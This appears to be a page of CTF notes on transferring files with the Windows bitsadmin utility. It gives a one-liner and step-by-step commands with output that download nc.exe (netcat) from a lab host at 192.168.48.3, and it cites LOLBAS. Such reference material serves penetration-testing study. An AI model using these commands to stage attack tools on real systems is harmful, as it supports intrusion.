> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/file-transfers/transfers-with-bitsadmin.md).

# Transfers with bitsadmin

## One-liner File Download

```batch
bitsadmin /create X bitsadmin /addfile X https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME X bitsadmin /complete X
```

## Step-by-step File Download

### Summary of steps

```batch
bitsadmin /create MyJob
bitsadmin /addfile MyJob http://IP/file C:\FULLPATH\file
bitsadmin /resume MyJob
bitsadmin /complete MyJob
```

### Step 1 - Create a download job

```batch
C:\Users\offsec\Downloads>bitsadmin /create MyDownload

BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.

Created job {64D6487E-FBB5-4486-9C70-4629F7D5BCD4}.
```

### Step 2 - Add the file(s) to the job

```batch
C:\Users\offsec\Downloads>bitsadmin /addfile MyDownload http://192.168.48.3/nc.exe C:\Users\offsec\Downloads\nc.exe

BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.

Added http://192.168.48.3/nc.exe -> C:\Users\offsec\Downloads\nc.exe to job.
```

### Step 3 - Run the job

```batch
C:\Users\offsec\Downloads>bitsadmin /resume MyDownload

BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.

Job resumed.
```

### Step 4 - Complete the job

```batch
C:\Users\offsec\Downloads> bitsadmin /complete MyDownload

BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.

Job completed.
```

### Optional step - Check status

For large files, an optional step might be needed between step 3 and 4.

```batch
C:\Users\offsec\Downloads> bitsadmin /info MyDownload /verbose

BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.

GUID: {64D6487E-FBB5-4486-9C70-4629F7D5BCD4} DISPLAY: 'MyDownload'
TYPE: DOWNLOAD STATE: TRANSFERRED OWNER: WIN10-TEMPLATE\offsec
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 59392 / 59392
CREATION TIME: 10/1/2022 5:03:41 PM MODIFICATION TIME: 10/1/2022 5:05:33 PM
COMPLETION TIME: 10/1/2022 5:05:33 PM ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
RETRY DELAY: 600 NO PROGRESS TIMEOUT: 1209600 ERROR COUNT: 0
PROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
DESCRIPTION:
JOB FILES:
        59392 / 59392 WORKING http://192.168.48.3/nc.exe -> C:\Users\offsec\Downloads\nc.exe
NOTIFICATION COMMAND LINE: none
owner MIC integrity level: MEDIUM
owner elevated ?           false

Peercaching flags
         Enable download from peers      :false
         Enable serving to peers         :false

CUSTOM HEADERS: NULL
```

## Resources

**bitsadmin** - LOLBAS: <https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/>

**bitsadmin** - Microsoft Learn: <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin>
